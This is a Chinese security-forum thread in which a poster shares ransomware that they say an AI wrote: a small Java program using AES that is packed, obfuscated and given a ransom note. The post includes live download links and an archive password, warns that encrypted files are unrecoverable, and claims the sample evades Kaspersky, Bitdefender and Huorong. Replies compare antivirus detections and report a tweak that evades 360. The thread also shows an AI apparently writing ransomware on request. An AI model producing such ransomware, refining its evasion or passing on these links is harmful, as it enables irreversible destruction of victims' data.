查看: 8081|回复: 98
收起左侧

[病毒样本] 自己(AI)写的勒索

  [复制链接]
Fadouse
发表于 2024-2-11 22:28:30 | 显示全部楼层 |阅读模式
本帖最后由 Fadouse 于 2024-2-12 11:26 编辑

极其简单的原理
java程序,大小仅5kb
需要java环境在jre/jdk 8以上
-----------------------------------------

自己添加了排除dll和exe
https://www.virustotal.com/gui/f ... e18f7f4e8/relations

----------------------------------------
添加了系统组件排除,应要求封装成exe格式,加exe壳(Virtualizer)加Jar混淆(Proguard),移除了运行须知
有勒索信(桌面创建hello.html),弹窗,无自启动(写注册表容易被主防拦截)
wormhole: https://wormhole.app/5DaWv#4czdPU-jYt9PgmxOy125eA
Mega: https://mega.nz/file/sedU1IaZ#nZ ... nyvnve-793gfaasaxLw
密码:infected
自行测试绕过卡巴斯基 Bitdefender 火绒

JAR无混淆,加密后无法恢复!!
加密算法为aes加密



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
smz2011 + 1 针不戳

查看全部评分

祸兮福所倚
头像被屏蔽
发表于 2024-2-11 22:37:29 | 显示全部楼层
360扫描miss
Avast扫描miss
ANY.LNK
发表于 2024-2-11 23:08:20 | 显示全部楼层
本帖最后由 ANY.LNK 于 2024-2-11 23:14 编辑

微软目前扫描没有报告
目前正想办法做成EXE中……
枣泥奶卷
发表于 2024-2-11 23:13:27 | 显示全部楼层
本帖最后由 枣泥奶卷 于 2024-2-11 23:16 编辑

过ELG(?!),哪位大佬可以麻烦双击测一下ESET的勒索护盾

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
dght432
发表于 2024-2-11 23:13:38 | 显示全部楼层
本帖最后由 dght432 于 2024-2-11 23:53 编辑

360双击拦截,没有文件被加密














小改之后Miss





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
pal家族
发表于 2024-2-11 23:18:07 | 显示全部楼层
哪儿有加密dll和exe的勒索软件啊。。。。
pyic
发表于 2024-2-11 23:24:25 | 显示全部楼层
行为异常分析

试图通过文件来检测是否存在Cuckoo沙箱

执行多个移动文件,显示一个勒索软件文件加密过程

将新的文件扩展名或内容附加到多个文件,这指示了一个勒索软件的加密过程

释放了多个未知的MIME类型文件,这指示了勒索软件正在往磁盘回写加密后的文件

从本地FTP客户端软件获取证书

删除了大量文件,可能是勒索软件,数据擦除程序或者系统破坏程序

分配可读、可写、可执行内存空间(通常为了解压自身)

查询计算机名称

从本地网络浏览器中窃取私人信息

创建一个可执行文件的快捷方式

收集信息到指纹系统(MachineGuid, DigitalProductId, SystemBiosDate)

Fadouse
 楼主| 发表于 2024-2-11 23:27:04 | 显示全部楼层
pal家族 发表于 2024-2-11 23:18
哪儿有加密dll和exe的勒索软件啊。。。。

暴力加密user文件夹中的任何文件,AI没写排除*
不知起什么名
发表于 2024-2-12 00:01:09 | 显示全部楼层
果然还是Java才能看得懂()
Fadouse
 楼主| 发表于 2024-2-12 00:01:51 | 显示全部楼层
不知起什么名 发表于 2024-2-12 00:01
果然还是Java才能看得懂()

是不是特别简单,我都没想到能过卡巴斯基(
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-7-20 18:38 , Processed in 0.131129 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表